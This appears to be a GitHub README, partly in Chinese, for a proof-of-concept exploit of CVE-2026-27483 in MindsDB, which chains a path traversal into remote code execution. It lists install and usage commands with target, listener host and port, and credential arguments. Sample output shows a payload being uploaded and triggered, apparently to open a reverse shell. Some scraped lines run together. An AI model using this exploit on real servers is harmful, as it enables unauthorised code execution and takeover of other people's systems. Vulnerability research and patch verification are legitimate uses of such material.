thewhiteh4t/cve-2026-27483MindsDB 路径遍历到 RCE PoC
此 PoC 脚本基于以下 GitHub 安全公告
/api/handlers/ 来查找可用的 handler，使用任意可用但未安装的 handler 名称/venv/lib/python3.10/site-packages/pip/__init__.pypython cve-2026-27483.py -lh 192.168.0.100 -lp 4444 -u admin -p password
-------------------------------------
--- CVE-2026-27483 ------------------
--- MindsDB Path Traversal to RCE ---
-------------------------------------
[>] Found By : XlabAITeam
[>] PoC By : Lohitya Pushkar (thewhiteh4t)
[>] Target : http://127.0.0.1:47334
[>] LHOST : 192.168.0.100
[>] LPORT : 4444
[*] Checking status...
[*] MindsDB Version : 25.9.1.0
[+] Login successful!
[*] Uploading payload : qwvhotfj
[+] Payload uploaded!
[*] Triggering payload...
pip3 install requests packaging
python cve-2026-27483.py -h
usage: cve-2026-27483.py [-h] [-rh RH] [-rp RP] [-lh LH] [-lp LP] [-u U] [-p P]
options:
-h, --help show this help message and exit
-rh RH Target host
-rp RP Target port
-lh LH Listener host
-lp LP Listener port
-u U Username
-p P Password